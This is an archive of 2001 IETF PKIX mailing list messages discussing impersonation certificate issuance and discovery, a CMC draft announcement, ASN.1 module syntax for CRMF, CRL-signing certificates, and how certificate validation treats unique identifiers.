In-Reply-To: <4.2.2.20010309133724.00b575c0@localhost>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Thanks, Steve.  That does clarify things.

So impersonation certificates are not intended to be used for
delegating signature authority from one human being to another?

Regards,

Carlin

_____________________________________________
- Carlin Covey
  Cylink Corporation

-----Original Message-----
From: Steve Tuecke [mailto:[e-mail]]
Sent: Friday, March 09, 2001 1:23 PM
To: Carlin Covey
Cc: [e-mail]
Subject: Re: Impersonation Certificates - proofing IC requesters


Carlin,

Some examples of when ICs are generally created (in our experience with
GSI) might help answer your questions:

   1) Creation of a local IC for single sign-on purposes: In this case, the
creation of the IC is driven entirely by the holder of the EEC.  So there
is no requester of the IC.  Or I suppose you could say that the requester
is already holding the EEC and its private key, so proofing is not an issue.

   2) Delegation of an IC to a remote party, for example when starting a
remote process: This is usually done over a mutually authenticated channel
with, for example, the remote process starter service, so the issuer knows
the identity of the starter to whom it is delegating the IC.  In this case,
the issuer will be checking the identity of the party to whom it is issuing
the IC for reasons aside from (or in addition to) proofing the IC
requester. In addition, the IC delegation is usually done as one step of
some well defined exchange between the parties, so the issuer knows in
advance that it wants to issue the IC, and it just need to make sure that
it is issuing it to the right party.  In other words, the issuance of the
IC is again mostly driven by the issuer (i.e. the holder of the EEC, or of
an existing IC), and as part of a larger protocol exchange between the
parties.  So proofing the IC is really just a matter of checking the
identity coming from the authentication (which you would do anyway), and
verifying that the IC request does not have anything unexpected in
it.  Standard message integrity checking on the mutually authenticated
channel between the parties will prevent man-in-the-middle attacks.

   3) Certificate repository: Suppose that the EEC and its private key are
held in some sort of certificate/key repository, which will issue an IC
upon request from a client.  So the questions are, how does the client
authenticate with the repository, what authorization checks does the
repository perform before issuing the IC, and how is a man-in-the-middle
attack prevented?  Client authentication may be handled in a variety of
ways.  For example, the client can connect to the server and perform server
only authentication (i.e. it knows the identity of the repository in
advance).  It can then provide a name/password, one-time-password, or
something else over the confidential channel.  This password is used to
authorize the IC issuance, and the IC is delegated back to the client over
the integrity checked channel to avoid man-in-the-middle.

So I think the answer to your question is that unlike a traditional CA, in
the situations where we have used ICs effectively, previously issued EECs
provide for the automatic authentication necessary to allow for automatic
proofing of the request.

-Steve

At 05:54 PM 3/8/2001  Thursday, Carlin Covey wrote:
>Gentlepersons,
>
>draft-ietf-pkix-impersonation-00.txt describes a mechanism for
>delegating authority from entity A (who is not a CA) to entity B
>by issuing an "Impersonation Certificate" (IC) to entity B that
>is signed using entity A's PKC.
>
>Below step 5 of section 2.4. the following text appears:
>
>    "The process of creating an IC is as follows:
>
>    1. A new public and private key pair is generated.
>
>    2. An unsigned IC request is created, conforming to the profile
>       described in this document.
>
>    3. The IC request is signed by the private key of the EEC, or by
>       another IC.  During this process, the unsigned IC is verified to
>       ensure that it is valid (e.g. it is not an EEC, the IC fields are
>       appropriately set, etc).
>
>    When an IC is created as part of a delegation from entity A to
>    entity B, this process is modified by performing steps #1 and #2
>    within entity B, then passing the IC request from entity B to entity
>    A over an integrity checked channel, then entity A performs step #3. "
>
>[Carlin's comments/questions]:
>I'm trying to understand some of the security aspects.
>I don't see any discussion of proofing the IC requester.  How
>does the EE authenticate the identity of the IC requester?
>A CA or RA normally has some sort of proofing facilities
>available that are used to authenticate the identity of a
>human being (e.g. a database of employee information, some
>expertise in recognizing legitimate paper identity documents,
>etc.)  An EE is probably not well-equipped to do this sort
>of human identity proofing.  Moreover, in the example in
>section 2.3 the IC requester appears to be some automated
>process.  How does the EE authenticate the identity of this
>process?  Even if the EE can authenticate the source of the
>IC request, how are man-in-the-middle attacks prevented
>during the IC request process?
>
>- Carlin Covey
>   Cylink Corporation



Received: from mcs.anl.gov (cliff.mcs.anl.gov [140.221.9.17]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA01753 for <[e-mail]>; Fri, 9 Mar 2001 14:20:13 -0800 (PST)
Received: from monkeyboy2k (pitcairn.mcs.anl.gov [140.221.9.180]) by mcs.anl.gov (8.9.3/8.9.3) with ESMTP id QAA23926; Fri, 9 Mar 2001 16:19:39 -0600
Message-Id: <4.2.2.20010309142301.00b53f00@localhost>
X-Sender: tuecke@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Fri, 09 Mar 2001 14:33:09 -0600
To: "Carlin Covey" <[e-mail]>
From: Steve Tuecke <[e-mail]>
Subject: Re: Impersonation Certificates - finding IC's
Cc: <[e-mail]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

In the Globus Toolkit, we use ICs to authenticate a TLS channel, and we 
always pass the entire IC/EEC certificate chain during the authentication 
handshake.  And whenever we delegate an IC, we pass the whole chain to the RP.

I would be interested to hear a scenario where it is not practical or 
desirable to pass the IC/EEC chain to the RP, or in the authentication 
handshake.  And if you have any suggestions for changes that could be made 
to support path discovery from a directory (or any other way), I'd love to 
hear it.

I'll be in Minneapolis next week if you want to talk more about this in 
person...

-Steve

At 08:04 PM 3/8/2001  Thursday, Carlin Covey wrote:
>In section 2.6 of draft-ietf-pkix-impersonation-00.txt the
>following words appear:
>
>    "To discourage mistakes in this area, this Impersonation Certificate
>    profile defines that the IC subject (actually its subjectAltName) is
>    just a pseudo-randomly generated string."
>
>[Carlin's comments/questions]:
>If the IC subject name is a pseudo-randomly generated string, how is the
>IC found in an X.500 or LDAP Directory?  Must it always be passed by the
>application to the RP rather than being found in a directory?
>
>- Carlin Covey
>   Cylink Corporation



Received: from mcs.anl.gov (cliff.mcs.anl.gov [140.221.9.17]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA01541 for <[e-mail]>; Fri, 9 Mar 2001 14:18:21 -0800 (PST)
Received: from monkeyboy2k (pitcairn.mcs.anl.gov [140.221.9.180]) by mcs.anl.gov (8.9.3/8.9.3) with ESMTP id QAA20512; Fri, 9 Mar 2001 16:17:35 -0600
Message-Id: <4.2.2.20010309133724.00b575c0@localhost>
X-Sender: tuecke@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Fri, 09 Mar 2001 14:22:45 -0600
To: "Carlin Covey" <[e-mail]>
From: Steve Tuecke <[e-mail]>
Subject: Re: Impersonation Certificates - proofing IC requesters
Cc: <[e-mail]>
In-Reply-To: <[e-mail]>
References: <p05010402b6cc5218565b@[128.33.4.39]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Carlin,

Some examples of when ICs are generally created (in our experience with 
GSI) might help answer your questions:

   1) Creation of a local IC for single sign-on purposes: In this case, the 
creation of the IC is driven entirely by the holder of the EEC.  So there 
is no requester of the IC.  Or I suppose you could say that the requester 
is already holding the EEC and its private key, so proofing is not an issue.

   2) Delegation of an IC to a remote party, for example when starting a 
remote process: This is usually done over a mutually authenticated channel 
with, for example, the remote process starter service, so the issuer knows 
the identity of the starter to whom it is delegating the IC.  In this case, 
the issuer will be checking the identity of the party to whom it is issuing 
the IC for reasons aside from (or in addition to) proofing the IC 
requester. In addition, the IC delegation is usually done as one step of 
some well defined exchange between the parties, so the issuer knows in 
advance that it wants to issue the IC, and it just need to make sure that 
it is issuing it to the right party.  In other words, the issuance of the 
IC is again mostly driven by the issuer (i.e. the holder of the EEC, or of 
an existing IC), and as part of a larger protocol exchange between the 
parties.  So proofing the IC is really just a matter of checking the 
identity coming from the authentication (which you would do anyway), and 
verifying that the IC request does not have anything unexpected in 
it.  Standard message integrity checking on the mutually authenticated 
channel between the parties will prevent man-in-the-middle attacks.

   3) Certificate repository: Suppose that the EEC and its private key are 
held in some sort of certificate/key repository, which will issue an IC 
upon request from a client.  So the questions are, how does the client 
authenticate with the repository, what authorization checks does the 
repository perform before issuing the IC, and how is a man-in-the-middle 
attack prevented?  Client authentication may be handled in a variety of 
ways.  For example, the client can connect to the server and perform server 
only authentication (i.e. it knows the identity of the repository in 
advance).  It can then provide a name/password, one-time-password, or 
something else over the confidential channel.  This password is used to 
authorize the IC issuance, and the IC is delegated back to the client over 
the integrity checked channel to avoid man-in-the-middle.

So I think the answer to your question is that unlike a traditional CA, in 
the situations where we have used ICs effectively, previously issued EECs 
provide for the automatic authentication necessary to allow for automatic 
proofing of the request.

-Steve

At 05:54 PM 3/8/2001  Thursday, Carlin Covey wrote:
>Gentlepersons,
>
>draft-ietf-pkix-impersonation-00.txt describes a mechanism for
>delegating authority from entity A (who is not a CA) to entity B
>by issuing an "Impersonation Certificate" (IC) to entity B that
>is signed using entity A's PKC.
>
>Below step 5 of section 2.4. the following text appears:
>
>    "The process of creating an IC is as follows:
>
>    1. A new public and private key pair is generated.
>
>    2. An unsigned IC request is created, conforming to the profile
>       described in this document.
>
>    3. The IC request is signed by the private key of the EEC, or by
>       another IC.  During this process, the unsigned IC is verified to
>       ensure that it is valid (e.g. it is not an EEC, the IC fields are
>       appropriately set, etc).
>
>    When an IC is created as part of a delegation from entity A to
>    entity B, this process is modified by performing steps #1 and #2
>    within entity B, then passing the IC request from entity B to entity
>    A over an integrity checked channel, then entity A performs step #3. "
>
>[Carlin's comments/questions]:
>I'm trying to understand some of the security aspects.
>I don't see any discussion of proofing the IC requester.  How
>does the EE authenticate the identity of the IC requester?
>A CA or RA normally has some sort of proofing facilities
>available that are used to authenticate the identity of a
>human being (e.g. a database of employee information, some
>expertise in recognizing legitimate paper identity documents,
>etc.)  An EE is probably not well-equipped to do this sort
>of human identity proofing.  Moreover, in the example in
>section 2.3 the IC requester appears to be some automated
>process.  How does the EE authenticate the identity of this
>process?  Even if the EE can authenticate the source of the
>IC request, how are man-in-the-middle attacks prevented
>during the IC request process?
>
>- Carlin Covey
>   Cylink Corporation



Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA20896 for <[e-mail]>; Fri, 9 Mar 2001 11:07:25 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA00078; Fri, 9 Mar 2001 14:07:25 -0500 (EST)
Message-Id: <[e-mail]>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: [e-mail]
From: [e-mail]
Reply-to: [e-mail]
Subject: I-D ACTION:draft-ietf-pkix-2797-bis-00.txt
Date: Fri, 09 Mar 2001 14:07:25 -0500
Sender: [e-mail]

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Certificate Management Messages over CMS
	Author(s)	: M. Myers, X. Liu, J. Schaad, J. Weinstein
	Filename	: draft-ietf-pkix-2797-bis-00.txt
	Pages		: 
	Date		: 09-Mar-01
	
This document defines a Certificate Management protocol using CMS
(CMC).  This protocol addresses two immediate needs within the
Internet PKI community:
1. The need for an interface to public key certification products
and    services based on [CMS] and [PKCS10], and
2. The need in [SMIMEV3] for a certificate enrollment protocol for
DSA-signed certificates with Diffie-Hellman public keys.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-2797-bis-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-2797-bis-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-2797-bis-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[e-mail]"

Content-Type: text/plain
Content-ID:	<[e-mail]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-2797-bis-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-2797-bis-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[e-mail]>

--OtherAccess--

--NextPart--




Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA19539 for <[e-mail]>; Fri, 9 Mar 2001 10:49:17 -0800 (PST)
Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21) id <GTVZQ52P>; Fri, 9 Mar 2001 13:48:48 -0500
Message-ID: <[e-mail]>
From: Carlisle Adams <[e-mail]>
To: [e-mail], "'[e-mail]'" <[e-mail]>
Cc: [e-mail], "'[e-mail]'" <[e-mail]>
Subject: RE: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and rfc2511bis- 01.txt)
Date: Fri, 9 Mar 2001 13:45:59 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0A8C9.2F29B810"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0A8C9.2F29B810
Content-Type: text/plain

Hi Magnus and Phil,

> ----------
> From: 	Phillip H. Griffin[SMTP:[e-mail]]
> Reply To: 	[e-mail]
> Sent: 	Friday, March 09, 2001 8:48 AM
> To: 	[e-mail]
> Cc: 	Carlisle Adams; [e-mail]; '[e-mail]'
> Subject: 	Re: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and
> rfc2511bis-01.txt)
> 
> Magnus and Carlisle,
> A few comments below.
 
(...some text deleted...)

> Magnus Nystrom wrote:
> > 
> >  b) PKIXCRMF imports definitions from both RFC 2459 (bis) and CMS. CMS
> >     in turn, imports definitions from ITU/ISO specifications rather
> >     than PKIX RFCs. Now this would be ok, unless it was for the fact
> >     that RFC 2459bis and RC2511bis use 1988 syntax, as does CMS, but
> >     CMS imports from modules written in 1993 syntax. This creates a
> >     mess for those using commercial compilers, since UTF8Strings (used
> >     in ISO documents but defined explicitly in PKIX documents) aren't
> 
> Actually the situation is even worse than
> described here. The use in IETF modules of
> class UNIVERSAL tags is not valid ASN.1 under
> any version of the ASN.1 standards.
> 
> It is an IETF concoction made up I believe
> to allow old X.208 and X.209 based tools to
> make use of new ASN.1 types never defined 
> in those standards, but defined for years 
> and years now in the current ASN.1 standards.
 
(...some text deleted...)

> >     supported in 1988 but are in 1993, so one cannot compile these
> >     modules with either a "1988" switch or a "1993" switch. My advice
> >     would of course be to move to 1993/1997 ASN.1 altogether, but if
> 
> Agreed. This is the best possible solution.
> Not only does it eliminate the concoction
> noted above, it allows the use of other new 
> types and encoding rules by adopters of IETF
> standards.
 
I sympathize with both your positions here, and if we were starting from
scratch I'd say that it might be worthwhile to try to create a "perfect",
up-to-date ASN.1 module.  However, this specification (begun 5 years ago)
has been actively interop tested for somewhere between 1.5 and 2 years now.
By some miracle, all ten or so independent implementations were able to take
what's listed here as a '"Compilable" ASN.1 Module Using 1988 Syntax' (note
the quotes around "Compilable" in the title of this appendix!), make
whatever tweaks were necessary to get it to compile (without a word of
complaint to the authors of the spec!), and then get their implementations
to interoperate.

Revising the ASN.1 in a significant way at this point in time necessitates
re-doing all that interop testing.  I am absolutely unwilling to initiate
that pain, especially when it appears to lead to no tangible benefit.  Small
changes (like removing the "CRMF" before "DEFINITIONS", etc.):  no problem.
But a major change (like converting the entire module to 1993/1997 syntax
and getting CMS to change at the same time, etc.), is unnecessary and
counterproductive.

Carlisle.


------_=_NextPart_001_01C0A8C9.2F29B810
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and =
rfc2511bis-01.txt)</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Hi Magnus =
and Phil,</FONT>
</P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"MS Sans Serif">----------</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">From:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Phillip H. =
Griffin[SMTP:[e-mail]]</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Reply To:</FONT></B> =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">[e-mail]</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Sent:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Friday, March 09, 2001 8:48 =
AM</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">To:</FONT></B> =
&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">[e-mail]</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Cc:</FONT></B> =
&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans Serif">Carlisle =
Adams; [e-mail]; '[e-mail]'</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Subject:</FONT></B> =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">Re: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and =
rfc2511bis-01.txt)</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Magnus and Carlisle,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">A few comments below.</FONT>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">(...some =
text deleted...)</FONT>
</P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"Arial">Magnus Nystrom wrote:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp; b) PKIXCRMF imports =
definitions from both RFC 2459 (bis) and CMS. CMS</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp; in turn, =
imports definitions from ITU/ISO specifications rather</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp; than =
PKIX RFCs. Now this would be ok, unless it was for the fact</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp; that RFC =
2459bis and RC2511bis use 1988 syntax, as does CMS, but</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp; CMS =
imports from modules written in 1993 syntax. This creates a</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp; mess for =
those using commercial compilers, since UTF8Strings (used</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp; in ISO =
documents but defined explicitly in PKIX documents) aren't</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Actually the situation is even worse =
than</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">described here. The use in IETF =
modules of</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">class UNIVERSAL tags is not valid =
ASN.1 under</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">any version of the ASN.1 =
standards.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">It is an IETF concoction made up I =
believe</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">to allow old X.208 and X.209 based =
tools to</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">make use of new ASN.1 types never =
defined </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">in those standards, but defined for =
years </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">and years now in the current ASN.1 =
standards.</FONT>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">(...some =
text deleted...)</FONT>
</P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp; supported =
in 1988 but are in 1993, so one cannot compile these</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp; modules =
with either a &quot;1988&quot; switch or a &quot;1993&quot; switch. My =
advice</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp; would of =
course be to move to 1993/1997 ASN.1 altogether, but if</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Agreed. This is the best possible =
solution.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Not only does it eliminate the =
concoction</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">noted above, it allows the use of =
other new </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">types and encoding rules by adopters =
of IETF</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">standards.</FONT>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">I =
sympathize with both your positions here, and if we were starting from =
scratch I'd say that it might be worthwhile to try to create a =
&quot;perfect&quot;, up-to-date ASN.1 module.&nbsp; However, this =
specification (begun 5 years ago) has been actively interop tested for =
somewhere between 1.5 and 2 years now.&nbsp; By some miracle, all ten =
or so independent implementations were able to take what's listed here =
as a '&quot;Compilable&quot; ASN.1 Module Using 1988 Syntax' (note the =
quotes around &quot;Compilable&quot; in the title of this appendix!), =
make whatever tweaks were necessary to get it to compile (without a =
word of complaint to the authors of the spec!), and then get their =
implementations to interoperate.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Revising =
the ASN.1 in a significant way at this point in time necessitates =
re-doing all that interop testing.&nbsp; I am absolutely unwilling to =
initiate that pain, especially when it appears to lead to no tangible =
benefit.&nbsp; Small changes (like removing the &quot;CRMF&quot; before =
&quot;DEFINITIONS&quot;, etc.):&nbsp; no problem.&nbsp; But a major =
change (like converting the entire module to 1993/1997 syntax and =
getting CMS to change at the same time, etc.), is unnecessary and =
counterproductive.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">Carlisle.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0A8C9.2F29B810--


Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA17512 for <[e-mail]>; Fri, 9 Mar 2001 10:05:21 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id NAA02368; Fri, 9 Mar 2001 13:04:14 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010406b6cecaa3f3da@[128.33.4.39]>
In-Reply-To: <2B55DABB95C4D4119C1300508BD953F1144028@BLUE01>
References: <2B55DABB95C4D4119C1300508BD953F1144028@BLUE01>
Date: Fri, 9 Mar 2001 13:02:35 -0500
To: Dave Oshman <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: Separate CRL Issuance Entity Was: RE: Open Issue in Part1: path l 	ength constraints
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Dave,

>I would like to consider including the option to have an entity 
>other than a "cert issuing  authority" to sign CRLs. In cases where 
>a Root CA needs to issue certificates infrequently (such as we have 
>at Identrus), but needs to issue CRLs much more frequently, there 
>seems to be a case to have different certificates for these 
>purposes. I don't want to rule out having this option. If we define 
>that having the CA bit set means the capability to issue 
>certificates, this CRL signing entity should not have that bit set. 
>Is it specifically stated somewhere that the assertion of the CA bit 
>is defined as certificate issuance capability? My old X.509 (97) 
>defines a CA as: An authority trusted by one or more users to create 
>and assign certificates. 2459 doesn't provide any more help.

If one uses the KeyUsage extension and marks it critical, then there 
is a separate flag re cert signing (KeyCertSign). But, the current 
spec, has other constraints that don't allow for the CRLSign bit to 
be set and the CA flag in BasicConstraints to not be set, so we have 
a mixed bag of options now.

Steve


Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA15097 for <[e-mail]>; Fri, 9 Mar 2001 08:57:50 -0800 (PST)
Received: from sunlabs.East.Sun.COM ([129.148.75.250]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA13564; Fri, 9 Mar 2001 08:57:51 -0800 (PST)
Received: from sun.com (dhcp75-155 [129.148.75.155]) by sunlabs.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA17004; Fri, 9 Mar 2001 11:57:50 -0500 (EST)
Message-ID: <[e-mail]>
Date: Fri, 09 Mar 2001 11:54:20 -0500
From: Steve Hanna <[e-mail]>
Organization: Sun Microsystems, Inc.
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Ari Kermaier <[e-mail]>
CC: [e-mail]
Subject: Re: UIDs popping up in new-part1
References: <5.0.2.1.2.20010309114310.01eb22f0@206.30.74.234>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Perhaps a good compromise would be to remove any discussion of UIDs from
section 6 and change the end of section 4.1.2.8 to say that
"Applications conforming to this profile MAY be capable of parsing
unique identifiers and making comparisions. Applications that do not
make such comparisons SHOULD reject certificates that contain unique
identifiers to avoid accepting invalid chains."

This will allow PKIX-compliant applications to continue to accept UIDs
if they so choose, while removing any recommendation or requirement that
they do so. However, I do think that it's important to recommend that
applications that don't include UID support not accept certificates that
contain unique identifiers. Even though the PKIX profile recommends
against the use of UIDs, there may be CAs that use them. Accepting a
certificate with a UID without performing the UID comparison would be
analogous to accepting a certificate with a critical name constraints
extension without performing the required checks.

-Steve

Ari Kermaier wrote:
> 
> Steve,
> 
> My suggestion was that if the certificates contain the info required to
> do new-style certificate chain validation, then the UIDs could be
> ignored. If UIDs are deprecated, then UID mismatches shouldn't really
> matter, as long as the new chaining can be done correctly. Besides, if
> UIDs are so rarely used, a possible scenario might be where CA-1 issued
> (say, 2 years ago) a cert to CA-2 with UIDs and CA-2 issues (today) a
> cert to an EE without UIDs, relying on new chaining algorithms. Why
> should that certificate chain be rejected?
> 
> Also, it is not a fact, but rather a general impression, that nobody
> uses UIDs. It may have been a mistake to include them in previous
> profiles, but I think we're stuck with them -- we can't disinherit their
> children, we can only leave them out of family photos going forward.
> 
> ::Ari
> 
> >If we allow relying parties to ignore UIDs, won't that break backward
> >compatibility in an even more dangerous manner than requiring RPs to
> >reject certificates that contain UIDs? Ignoring UIDs would allow RPs
> >to accept chains with UID mismatches. Since UID checking was previously
> >required, this would be a potentially dangerous contravention of the
> >issuing CA's intent.
> >
> >An RP should either reject certificates containing UIDs or process
> >them properly, not simply ignore them. Since nobody uses this feature
> >and nobody can argue for why it is needed, I suggest that we require
> >RPs to reject certificates containing UIDs.
> >
> >-Steve
> >
> > >The recommendation that Section 6.1.3 be amended to remove references to
> > >UIDs makes sense; CAs conforming to the current profile should not be
> > >required to support this mechanism for certificate chaining, nor should
> > >UIDs be allowed to needlessly complicate the revised validation algorithm.
> > >
> > >However, requiring that UIDs be absent from a certificate would be a
> > >serious error, as would recommending that conforming CAs reject
> > >certificates containing UIDs. If the certificate in question contains the
> > >information required to perform chaining and validation as per the current
> > >profile, why should the CA not be free to ignore the presence of extraneous
> > >infomation? I think it would be a Very Bad Idea to break backwards
> > >compatibility for what is essentially nothing more than an aesthetic
> > >reason. A CA conforming to the current X.509 v3 profile should NOT reject a
> > >certificate that has a deprecated field from a X.509 v2 profile -- it
> > >should just ignore that field. Of course, eveyone "knows" that "nobody"
> > >uses UIDs, but that's not a good reason to break, even hypothetically,
> > >certificates that do use them unless there's a truly compelling positive or
> > >negative functional benefit.
> > >
> > >Ari Kermaier
> > >Phaos Technology
> > >
> > >>Last fall, we agreed to remove issuer and subject unique identifier
> > >>comparison from the validation algorithm. At least, I think we did. The
> > >>argument was that nobody uses unique identifiers and there's no good
> > >>reason to retain support for them.
> > >>
> > >>In draft-ietf-pkix-new-part1-04.txt, this has almost been done. However,
> > >>they remain in step (a) (5) of section 6.1.3, which says:
> > >>
> > >>          (5) The certificate issuer unique identifier is the
> > >>          working_issuer_UID, meaning:
> > >>
> > >>             (i) working_issuer_UID is non-null and matches the value in
